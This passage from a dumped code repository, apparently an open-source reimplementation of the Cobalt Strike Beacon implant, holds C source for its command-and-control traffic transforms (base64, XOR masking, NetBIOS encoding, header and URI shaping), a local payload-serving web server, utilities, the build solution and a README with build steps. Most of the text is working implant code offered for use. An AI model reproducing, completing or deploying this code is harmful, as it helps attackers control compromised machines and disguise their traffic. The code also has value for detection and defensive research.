size, 0x2000);\n\n\tdatap* parser = BeaconDataAlloc(MAX_HEADERS + MAX_URI_PARAMS + MAX_URI + transform->outputLength + transform->outputLength + transform->outputLength);\n\ttransform->headers = BeaconDataPtr(parser, MAX_HEADERS);\n\ttransform->uriParams = BeaconDataPtr(parser, MAX_URI_PARAMS);\n\ttransform->uri = BeaconDataPtr(parser, MAX_URI);\n\ttransform->body = BeaconDataPtr(parser, transform->outputLength);\n\ttransform->transformed = BeaconDataPtr(parser, transform->outputLength);\n\ttransform->temp = BeaconDataPtr(parser, transform->outputLength);\n\ttransform->bodyLength = 0;\n}\n\nvoid TransformEncode(TRANSFORM* transform,\n\tunsigned char* request_profile,\n\tconst char* session,\n\tconst int session_len,\n\tconst char* response,\n\tconst int response_len)\n{\n#define MAX_PARAM 1024\n#define MAX_REQUEST_PROFILE 1024\n#define MAX_TEMP 1024\n\tchar param[MAX_PARAM] = { 0 };\n\tint paramLength;\n\tint transformedLength = 0;\n\n\tBOOL isThereHostHeader = S_HOST_HEADER && strlen(S_HOST_HEADER) > 0;\n\tBOOL isHostHeaderStepDone = FALSE;\n\n\tdatap parser;\n\tBeaconDataParse(&parser, request_profile, MAX_REQUEST_PROFILE);\n\n\tunsigned long outlen;\n\tfor (int step = BeaconDataInt(&parser); step; step = BeaconDataInt(&parser))\n\t{\n\t\tswitch(step)\n\t\t{\n\t\t\tcase STEP__PARAMETER:\n\t\t\t\tmemset(param, 0, sizeof(param));\n\t\t\t\tBeaconDataStringCopySafe(&parser, param, sizeof(param));\n\n\t\t\t\tif (*transform->uriParams)\n\t\t\t\t\tsnprintf(transform->temp, MAX_TEMP, \"%s&%s\", transform->uriParams, param);\n\t\t\t\telse\n\t\t\t\t\tsnprintf(transform->temp, MAX_TEMP, \"?%s\", param);\n\n\t\t\t\tmemcpy(transform->uriParams, transform->temp, MAX_URI_PARAMS);\n\t\t\t\tbreak;\n\t\t\tcase STEP__HEADER:\n\t\t\t\tmemset(param, 0, sizeof(param));\n\t\t\t\tBeaconDataStringCopySafe(&parser, param, sizeof(param));\n\n\t\t\t\tsnprintf(transform->temp, MAX_TEMP, \"%s%s\\r\\n\", transform->headers, param);\n\n\t\t\t\tmemcpy(transform->headers, transform->temp, MAX_HEADERS);\n\t\t\t\tbreak;\n\t\t\tcase STEP_URI_APPEND:\n\t\t\t\tsnprintf(transform->temp, MAX_TEMP, \"%s%s\", transform->uri, transform->transformed);\n\t\t\t\tmemcpy(transform->uri, transform->temp, MAX_URI);\n\t\t\t\tbreak;\n\t\t\tcase STEP_BASE64URL:\n\t\t\t\toutlen = transform->outputLength;\n\t\t\t\tbase64url_encode(transform->transformed, transformedLength, transform->temp, &outlen);\n\t\t\t\ttransformedLength = outlen;\n\n\t\t\t\tif (transformedLength == 0)\n\t\t\t\t\treturn;\n\n\t\t\t\tmemset(transform->transformed, 0, transform->outputLength);\n\t\t\t\tmemcpy(transform->transformed, transform->temp, transformedLength);\n\t\t\t\tbreak;\n\t\t\tcase STEP_MASK:\n\t\t\t\ttransformedLength = XorMask(transform->transformed, transformedLength, transform->temp, transform->outputLength);\n\n\t\t\t\tif (transformedLength == 0)\n\t\t\t\t\treturn;\n\n\t\t\t\tmemset(transform->temp, 0, transform->outputLength);\n\t\t\t\tmemcpy(transform->transformed, transform->temp, transformedLength);\n\t\t\t\tbreak;\n\t\t\tcase STEP__HOSTHEADER:\n\t\t\t\tmemset(param, 0, sizeof(param));\n\t\t\t\tBeaconDataStringCopySafe(&parser, param, sizeof(param));\n\n\t\t\t\tisHostHeaderStepDone = isThereHostHeader;\n\t\t\t\tsnprintf(transform->temp, MAX_TEMP, \"%s%s\\r\\n\", transform->headers, isHostHeaderStepDone ? S_HOST_HEADER : param);\n\n\t\t\t\tmemcpy(transform->headers, transform->temp, MAX_HEADERS);\n\t\t\t\tbreak;\n\t\t\tcase STEP_NETBIOS:\n\t\t\tcase STEP_NETBIOSU:\n\t\t\t\ttransformedLength = ToNetbios(step == STEP_NETBIOSU ? 'A' : 'a', transform->transformed, transformedLength, transform->temp, transform->outputLength);\n\n\t\t\t\tif (transformedLength == 0)\n\t\t\t\t\treturn;\n\n\t\t\t\tmemset(transform->transformed, 0, transform->outputLength);\n\t\t\t\tmemcpy(transform->transformed, transform->temp, transformedLength);\n\t\t\t\tbreak;\n\t\t\tcase STEP_APPEND:\n\t\t\t\tmemset(param, 0, sizeof(param));\n\t\t\t\tparamLength = BeaconDataStringCopySafe(&parser, param, sizeof(param));\n\n\t\t\t\tmemcpy(transform->transformed + transformedLength, param, paramLength);\n\n\t\t\t\tparamLength = strlen(param);\n\t\t\t\ttransformedLength += paramLength;\n\t\t\t\tbreak;\n\t\t\tcase STEP_PREPEND:\n\t\t\t\tmemset(param, 0, sizeof(param));\n\t\t\t\tparamLength = BeaconDataStringCopySafe(&parser, param, sizeof(param));\n\n\t\t\t\tmemcpy(transform->temp, param, paramLength);\n\n\t\t\t\tparamLength = strlen(param);\n\t\t\t\tmemcpy(transform->temp + paramLength, transform->transformed, transformedLength);\n\t\t\t\ttransformedLength += paramLength;\n\n\t\t\t\tmemset(transform->transformed, 0, transform->outputLength);\n\t\t\t\tmemcpy(transform->transformed, transform->temp, transformedLength);\n\t\t\t\tbreak;\n\t\t\tcase STEP_BASE64:\n\t\t\t\toutlen = transform->outputLength;\n\t\t\t\tbase64_encode(transform->transformed, transformedLength, transform->temp, &outlen);\n\t\t\t\ttransformedLength = outlen;\n\n\t\t\t\tif (transformedLength == 0)\n\t\t\t\t\treturn;\n\n\t\t\t\tmemset(transform->transformed, 0, transform->outputLength);\n\t\t\t\tmemcpy(transform->transformed, transform->temp, transformedLength);\n\t\t\t\tbreak;\n\t\t\tcase STEP_PRINT:\n\t\t\t\tmemcpy(transform->temp, transform->transformed, transformedLength);\n\t\t\t\ttransform->bodyLength = transformedLength;\n\t\t\t\tbreak;\n\t\t\tcase STEP_PARAMETER:\n\t\t\t\tmemset(param, 0, sizeof(param));\n\t\t\t\tBeaconDataStringCopySafe(&parser, param, sizeof(param));\n\n\t\t\t\tif (*transform->uriParams)\n\t\t\t\t\tsnprintf(transform->temp, MAX_TEMP, \"%s&%s=%s\", transform->uriParams, param, transform->transformed);\n\t\t\t\telse\n\t\t\t\t\tsnprintf(transform->temp, MAX_TEMP, \"?%s=%s\", param, transform->transformed);\n\n\t\t\t\tmemcpy(transform->uriParams, transform->temp, MAX_URI_PARAMS);\n\t\t\t\tbreak;\n\t\t\tcase STEP_HEADER:\n\t\t\t\tmemset(param, 0, sizeof(param));\n\t\t\t\tBeaconDataStringCopySafe(&parser, param, sizeof(param));\n\n\t\t\t\tsnprintf(transform->temp, MAX_TEMP, \"%s%s: %s\\r\\n\", transform->headers, param, transform->transformed);\n\n\t\t\t\tmemcpy(transform->headers, transform->temp, MAX_HEADERS);\n\t\t\t\tbreak;\n\t\t\tcase STEP_BUILD:\n\t\t\t\tint dataArgument = BeaconDataInt(&parser);\n\t\t\t\tswitch (dataArgument)\n\t\t\t\t{\n\t\t\t\t\tcase DATA_ARGUMENT_OUTPUT:\n\t\t\t\t\t\tmemcpy(transform->transformed, response, response_len);\n\t\t\t\t\t\ttransformedLength = response_len;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase DATA_ARGUMENT_SESSION_DATA:\n\t\t\t\t\t\tmemcpy(transform->transformed, session, session_len);\n\t\t\t\t\t\ttransformedLength = session_len;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tLERROR(\"Unknown data argument %d\", dataArgument);\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tLERROR(\"Unknown step %d\", step);\n\t\t\t\treturn;\n\t\t}\n\t}\n\n\tif(isThereHostHeader && !isHostHeaderStepDone)\n\t{\n\t\tsnprintf(transform->temp, MAX_TEMP, \"%s%s\\r\\n\", transform->headers, S_HOST_HEADER);\n\t\tmemcpy(transform->headers, transform->temp, MAX_HEADERS);\n\t}\n}\n\nint TransformDecode(char* recover, char* recoverable, int recoverableLength, int maxGet)\n{\n\tchar* temp = malloc(recoverableLength);\n\tif (temp == NULL)\n\t\treturn FALSE;\n\n\tdatap parser;\n\tBeaconDataParse(&parser, recover, maxGet);\n\n\tint param;\n\tunsigned long outlen;\n\tfor (int step = BeaconDataInt(&parser); step; step = BeaconDataInt(&parser))\n\t{\n\t\tswitch (step)\n\t\t{\n\t\t\tcase STEP_BASE64:\n\t\t\tcase STEP_BASE64URL:\n\t\t\t\trecoverable[recoverableLength] = 0;\n\n\t\t\t\toutlen = maxGet;\n\t\t\t\t(step == STEP_BASE64 ? base64_decode : base64url_decode)(recoverable, recoverableLength, temp, &outlen);\n\t\t\t\trecoverableLength = outlen;\n\n\t\t\t\tif (recoverableLength == 0)\n\t\t\t\t\treturn FALSE;\n\n\t\t\t\tmemcpy(recoverable, temp, recoverableLength);\n\t\t\t\tbreak;\n\t\t\tcase STEP_MASK:\n\t\t\t\trecoverable[recoverableLength] = 0;\n\t\t\t\trecoverableLength = XorUnmask(recoverable, recoverableLength, temp, maxGet);\n\n\t\t\t\tif (recoverableLength == 0)\n\t\t\t\t\treturn FALSE;\n\n\t\t\t\tmemcpy(recoverable, temp, recoverableLength);\n\t\t\t\trecoverable[recoverableLength] = 0;\n\t\t\t\tbreak;\n\t\t\tcase STEP_NETBIOS:\n\t\t\tcase STEP_NETBIOSU:\n\t\t\t\trecoverable[recoverableLength] = 0;\n\t\t\t\trecoverableLength = FromNetbios(\n\t\t\t\t\tstep == STEP_NETBIOSU ? 'A' : 'a',\n\t\t\t\t\trecoverable, recoverableLength, \n\t\t\t\t\ttemp, maxGet);\n\n\t\t\t\tif (recoverableLength == 0)\n\t\t\t\t\treturn FALSE;\n\n\t\t\t\tmemcpy(recoverable, temp, recoverableLength);\n\t\t\t\trecoverable[recoverableLength] = 0;\n\t\t\t\tbreak;\n\t\t\tcase STEP_PREPEND:\n\t\t\t\tparam = BeaconDataInt(&parser);\n\n\t\t\t\tif(param > recoverableLength)\n\t\t\t\t{\n\t\t\t\t\tLERROR(\"Prepend parameter %d is greater than recoverable length %d\", param, recoverableLength);\n\t\t\t\t\treturn FALSE;\n\t\t\t\t}\n\n\t\t\t\tmemcpy(temp, recoverable, param);\n\t\t\t\trecoverableLength -= param;\n\t\t\t\tmemcpy(recoverable, temp + param, recoverableLength);\n\t\t\t\tbreak;\n\t\tcase STEP_APPEND:\n\t\t\t\tparam = BeaconDataInt(&parser);\n\n\t\t\t\trecoverableLength -= param;\n\t\t\t\tif (recoverableLength <= 0)\n\t\t\t\t\treturn FALSE;\n\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tLERROR(\"Unknown step %d\", step);\n\t\t\t\treturn FALSE;\n\t\t}\n\t}\n\n\treturn recoverableLength;\n}\n\nvoid TransformDestroy(TRANSFORM* transform)\n{\n\tBeaconDataFree(transform->parser);\n}"
  },
  {
    "path": "Beacon/transform.h",
    "content": "#pragma once\n\n#include \"beacon.h\"\n\ntypedef struct TRANSFORM\n{\n\tconst char* headers;\n\tconst char* uriParams;\n\tconst char* uri;\n\tvoid* body;\n\tDWORD bodyLength;\n\tunsigned int outputLength;\n\tconst char* transformed;\n\tchar* temp;\n\tdatap* parser;\n} TRANSFORM;\n\nvoid TransformInit(TRANSFORM* transform, int size);\n\nvoid TransformEncode(TRANSFORM* transform,\n\tunsigned char* request_profile,\n\tconst char* session,\n\tconst int session_len,\n\tconst char* response,\n\tconst int response_len);\n\nint TransformDecode(char* recover, char* recoverable, int recoverableLength, int maxGet);\n\nvoid TransformDestroy(TRANSFORM* transform);"
  },
  {
    "path": "Beacon/utils.c",
    "content": "#include \"pch.h\"\n\n#include \"utils.h\"\n\nDWORD ExpandEnvironmentStrings_s(const char* lpSrc, char* lpDst, size_t size) {\n\t// determine the size of the buffer required to store the expanded string\n\tDWORD nSize = ExpandEnvironmentStringsA(lpSrc, NULL, 0);\n\n\t// if the size of the buffer is too small, return 0\n\tif (nSize == 0 || size <= nSize + 1) {\n\t\treturn 0;\n\t}\n\n\t// expand the string\n\treturn ExpandEnvironmentStringsA(lpSrc, lpDst, size);\n}\n\nint RoundToNearestMultiple(int value, int multiple)\n{\n\treturn value - value % multiple;\n}\n\nint RoundToNearestEven(int value)\n{\n\treturn RoundToNearestMultiple(value, 2);\n}\n\nint RandomIntInRange(int min, int max)\n{\n\treturn min + rand() % (max - min + 1);\n}\n\nint RandomInt(void)\n{\n\tint out;\n\trng_get_bytes((unsigned char*)&out, sizeof(out), NULL);\n\treturn out;\n}\n\nint RandomEvenInt(void)\n{\n\treturn RoundToNearestEven(RandomInt());\n}\n\nint ToNetbios(const char nb, const char* in, const int inlen, char* out, const int outlen)\n{\n\tint i, j;\n\tfor (i = 0, j = 0; i < inlen && j < outlen; i++, j += 2)\n\t{\n\t\t// Extract the upper and lower nibbles from \"in\"\n\t\t// Calculate the results and store them in \"out\"\n\t\tout[j] = (char)(in[i] >> 4 & 0x0F) + nb;\n\t\tout[j + 1] = (char)(in[i] & 0x0F) + nb;\n\t}\n\treturn j;\n}\n\nint FromNetbios(const char nb, const char* in, const int inlen, char* out, const int outlen)\n{\n\tif (inlen % 2 == 1) return 0;\n\n\tint i, j;\n\tfor (i = 0, j = 0; i < inlen && j < outlen; i++, j += 2)\n\t{\n\t\tout[i] = (char)((in[j] - nb) << 4) | (char)(in[j + 1] - nb);\n\t}\n\n\treturn inlen / 2;\n}\n\n#define MASK_SIZE sizeof(int)\nint XorMask(const char* in, const int inlen, char* out, const int outlen)\n{\n\tconst int outres = inlen + MASK_SIZE;\n\tif (outres > outlen)\n\t\treturn 0;\n\n\t*(int*)out = RandomInt();\n\tfor (int i = 0; i < inlen; i++)\n\t\tout[i + MASK_SIZE] = in[i] ^ out[i % MASK_SIZE];\n\n\treturn outres;\n}\n\nint XorUnmask(const char* in, const int inlen, char* out, const int outlen)\n{\n\tconst int raw_inlen = inlen - MASK_SIZE;\n\tif (raw_inlen > outlen)\n\t\treturn 0;\n\tfor (int i = 0; i < raw_inlen; i++)\n\t\tout[i] = in[i + MASK_SIZE] ^ in[i % MASK_SIZE];\n\treturn raw_inlen;\n}"
  },
  {
    "path": "Beacon/utils.h",
    "content": "#pragma once\n\nDWORD ExpandEnvironmentStrings_s(const char* lpSrc, char* lpDst, size_t size);\n\nint RoundToNearestEven(int value);\n\nint RandomIntInRange(int min, int max);\n\nint RandomEvenInt(void);\n\nint ToNetbios(char nb, const char* in, int inlen, char* out, int outlen);\n\nint FromNetbios(char nb, const char* in, int inlen, char* out, int outlen);\n\nint XorMask(const char* in, int inlen, char* out, int outlen);\n\nint XorUnmask(const char* in, int inlen, char* out, int outlen);"
  },
  {
    "path": "Beacon/web_response.c",
    "content": "#include \"pch.h\"\n\n#include \"web_response.h\"\n\n#include \"beacon.h\"\n#include \"network.h\"\n#include \"thread.h\"\n\ntypedef struct WEB_RESPONSE\n{\n\tSOCKET socket;\n\tint contentLength;\n\tint headerLength;\n\tchar* content;\n\tchar* header;\n\tchar* data;\n} WEB_RESPONSE, *PWEB_RESPONSE;\n\nWEB_RESPONSE* WebResponseInit(SOCKET socket, char* content, int contentLength)\n{\n#define MAX_HEADER_SIZE 0x100\n#define MAX_DATA_SIZE 0x800\n\tWEB_RESPONSE* webResponse = malloc(sizeof(WEB_RESPONSE));\n\twebResponse->socket = socket;\n\n\twebResponse->content = malloc(contentLength);\n\twebResponse->contentLength = contentLength;\n\tmemcpy(webResponse->content, content, contentLength);\n\n\twebResponse->header = malloc(MAX_HEADER_SIZE);\n\tsnprintf(webResponse->header,\n\t\tMAX_HEADER_SIZE,\n\t\t\"HTTP/1.1 200 OK\\r\\n\"\n\t\t       \"Content-Type: application/octet-stream\\r\\n\"\n\t\t       \"Content-Length: %d\\r\\n\\r\\n\",\n\t\tcontentLength);\n\twebResponse->headerLength = strlen(webResponse->header);\n\n\twebResponse->data = malloc(MAX_DATA_SIZE);\n\treturn webResponse;\n}\n\nvoid WebResponseDestroy(WEB_RESPONSE* webResponse)\n{\n\tclosesocket(webResponse->socket);\n\tfree(webResponse->content);\n\tfree(webResponse->header);\n\tfree(webResponse->data);\n\tfree(webResponse);\n}\n\nint WebResponseReceiveUntilNewline(SOCKET socket, char* data, int size)\n{\n\tint i = 0;\n\twhile (i < size)\n\t{\n\t\tint read = recv(socket, data + i, sizeof(char), 0);\n\t\tif (read <= 0)\n\t\t\tbreak;\n\n\t\ti += read;\n\n\t\tint x = i - STRLEN(\"\\r\\n\"); // the newline is \\r\\n\n\t\tif(x >= 0 && data[x] == '\\r' && data[x + 1] == '\\n')\n\t\t{\n\t\t\tdata[x] = '\\0';\n\t\t\treturn i;\n\t\t}\n\t}\n\treturn -1;\n}\n\nvoid WebResponseThread(WEB_RESPONSE* webResponse)\n{\n\tSOCKET acceptSocket = accept(webResponse->socket, NULL, NULL);\n\tif (acceptSocket == INVALID_SOCKET) {\n\t\tWebResponseDestroy(webResponse);\n\t} else\n\t{\n\t\twhile (WebResponseReceiveUntilNewline(acceptSocket, webResponse->data, MAX_DATA_SIZE) > STRLEN(\"\\r\\n\"));\n\n\t\tsend(acceptSocket, webResponse->header, webResponse->headerLength, 0);\n\t\tsend(acceptSocket, webResponse->content, webResponse->contentLength, 0);\n\n\t\tWebResponseDestroy(webResponse);\n\t\tclosesocket(acceptSocket);\n\t}\n\n\t--gThreadsActive;\n}\n\nvoid WebServerInit(short port, char* content, int contentLength)\n{\n\tNetworkInit();\n\tSOCKET socket = ::socket(AF_INET, SOCK_STREAM, IPPROTO_HOPOPTS);\n\tSOCKET acceptSocket = INVALID_SOCKET;\n\tif (socket == INVALID_SOCKET)\n\t\tclosesocket(acceptSocket);\n\n\tstruct sockaddr_in service;\n\tservice.sin_family = AF_INET;\n\tservice.sin_addr.s_addr = LOCALHOST;\n\tservice.sin_port = htons(port);\n\n\tint bindResult = bind(socket, (SOCKADDR*)&service, sizeof(service));\n\tacceptSocket = socket;\n\tif (bindResult == SOCKET_ERROR)\n\t\tclosesocket(acceptSocket);\n\n\tint listenResult = listen(socket, 120);\n\tacceptSocket = socket;\n\tif (listenResult == SOCKET_ERROR)\n\t\tclosesocket(acceptSocket);\n\n\tWEB_RESPONSE* webResponse = WebResponseInit(acceptSocket, content, contentLength);\n\tCreateThreadEx(WebResponseThread, webResponse);\n}\n\nvoid WebServerLocal(char* buffer, int length)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tshort port = BeaconDataShort(&parser);\n\tchar* content = BeaconDataBuffer(&parser);\n\tint contentLength = BeaconDataLength(&parser);\n\tWebServerInit(port, content, contentLength);\n}"
  },
  {
    "path": "Beacon/web_response.h",
    "content": "#pragma once\n\nvoid WebServerInit(short port, char* content, int contentLength);\nvoid WebServerLocal(char* buffer, int length)"
  },
  {
    "path": "CobaltStrike.sln",
    "content": "﻿\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio Version 17\nVisualStudioVersion = 17.7.34031.279\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"Beacon\", \"Beacon\\Beacon.vcxproj\", \"{95502B5E-5763-4EC5-A64C-1E9E33409E2F}\"\nEndProject\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"tommath\", \"libtommath\\libtommath_VS2008.vcxproj\", \"{42109FEE-B0B9-4FCD-9E56-2863BF8C55D2}\"\nEndProject\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"libtomcrypt\", \"libtomcrypt\\libtomcrypt_VS2008.vcxproj\", \"{E3802982-DCB6-4D85-A2BD-6B08F0657E79}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|x64 = Debug|x64\n\t\tDebug|x86 = Debug|x86\n\t\tRelease|x64 = Release|x64\n\t\tRelease|x86 = Release|x86\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{95502B5E-5763-4EC5-A64C-1E9E33409E2F}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{95502B5E-5763-4EC5-A64C-1E9E33409E2F}.Debug|x64.Build.0 = Debug|x64\n\t\t{95502B5E-5763-4EC5-A64C-1E9E33409E2F}.Debug|x86.ActiveCfg = Debug|Win32\n\t\t{95502B5E-5763-4EC5-A64C-1E9E33409E2F}.Debug|x86.Build.0 = Debug|Win32\n\t\t{95502B5E-5763-4EC5-A64C-1E9E33409E2F}.Release|x64.ActiveCfg = Release|x64\n\t\t{95502B5E-5763-4EC5-A64C-1E9E33409E2F}.Release|x64.Build.0 = Release|x64\n\t\t{95502B5E-5763-4EC5-A64C-1E9E33409E2F}.Release|x86.ActiveCfg = Release|Win32\n\t\t{95502B5E-5763-4EC5-A64C-1E9E33409E2F}.Release|x86.Build.0 = Release|Win32\n\t\t{42109FEE-B0B9-4FCD-9E56-2863BF8C55D2}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{42109FEE-B0B9-4FCD-9E56-2863BF8C55D2}.Debug|x64.Build.0 = Debug|x64\n\t\t{42109FEE-B0B9-4FCD-9E56-2863BF8C55D2}.Debug|x86.ActiveCfg = Debug|Win32\n\t\t{42109FEE-B0B9-4FCD-9E56-2863BF8C55D2}.Debug|x86.Build.0 = Debug|Win32\n\t\t{42109FEE-B0B9-4FCD-9E56-2863BF8C55D2}.Release|x64.ActiveCfg = Release|x64\n\t\t{42109FEE-B0B9-4FCD-9E56-2863BF8C55D2}.Release|x64.Build.0 = Release|x64\n\t\t{42109FEE-B0B9-4FCD-9E56-2863BF8C55D2}.Release|x86.ActiveCfg = Release|Win32\n\t\t{42109FEE-B0B9-4FCD-9E56-2863BF8C55D2}.Release|x86.Build.0 = Release|Win32\n\t\t{E3802982-DCB6-4D85-A2BD-6B08F0657E79}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{E3802982-DCB6-4D85-A2BD-6B08F0657E79}.Debug|x64.Build.0 = Debug|x64\n\t\t{E3802982-DCB6-4D85-A2BD-6B08F0657E79}.Debug|x86.ActiveCfg = Debug|Win32\n\t\t{E3802982-DCB6-4D85-A2BD-6B08F0657E79}.Debug|x86.Build.0 = Debug|Win32\n\t\t{E3802982-DCB6-4D85-A2BD-6B08F0657E79}.Release|x64.ActiveCfg = Release|x64\n\t\t{E3802982-DCB6-4D85-A2BD-6B08F0657E79}.Release|x64.Build.0 = Release|x64\n\t\t{E3802982-DCB6-4D85-A2BD-6B08F0657E79}.Release|x86.ActiveCfg = Release|Win32\n\t\t{E3802982-DCB6-4D85-A2BD-6B08F0657E79}.Release|x86.Build.0 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\n\tGlobalSection(ExtensibilityGlobals) = postSolution\n\t\tSolutionGuid = {9AAA762A-4780-430A-8D4B-C5630A3469B4}\n\tEndGlobalSection\nEndGlobal\n"
  },
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2024 ElJaviLuki\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "README.md",
    "content": "# Cobalt Strike Beacon Open Source Implementation\n\n## Overview\n\nWelcome to the open-source implementation of the Cobalt Strike Beacon! This project aims to provide a fully functional, from-scratch alternative to the Cobalt Strike Beacon, offering transparency and flexibility for security professionals and enthusiasts.\n\nPlease note that this project is not a reverse-engineered version of the Cobalt Strike Beacon but a ground-up open-source implementation. The `settings.h` file, containing macros for the C2 Profile, is .gitignored (and thus not available), as users are expected to complete it according to their preferences. Once you have your `settings.h` template ready, feel free to share and contribute.\n\n## Prerequisites\n\n- Visual Studio: The project is built using Visual Studio, not Visual Studio Code.\n- [libtommath](https://github.com/libtom/libtommath): A fast, portable number-theoretic multiple-precision integer library.\n- [libtomcrypt](https://github.com/libtom/libtomcrypt): A modular and portable cryptographic toolkit.\n\n## Getting Started\n\n1. Clone the repository:\n\n    ```bash\n    git clone https://github.com/ElJaviLuki/CobaltStrike_OpenBeacon.git\n    ```\n\n2. Open the project in Visual Studio.\n\n3. Ensure that the required dependencies (libtommath, libtomcrypt) are properly configured and linked with the project.\n\n4. Build the project.\n\n5. Create your `settings.h` file based on the provided template. Make sure to include your C2 Profile macros and configurations.\n\n6. Build the project again to apply your custom settings.\n\n7. Execute the compiled binary.\n\n## Contributing\n\nWe welcome contributions from the community. If you have improvements, bug fixes, or new features to add, please submit a pull request. Be sure to follow the existing coding style and provide clear commit messages.\n\n## License\n\nThis project is licensed under the [MIT License](LICENSE.md).\n\n## Disclaimer\n\nThis project is for educational and research purposes only. Use it responsibly and in compliance with applicable laws and regulations. The authors and contributors are not responsible for any misuse or damage caused by the use of this software.\n"
  }
]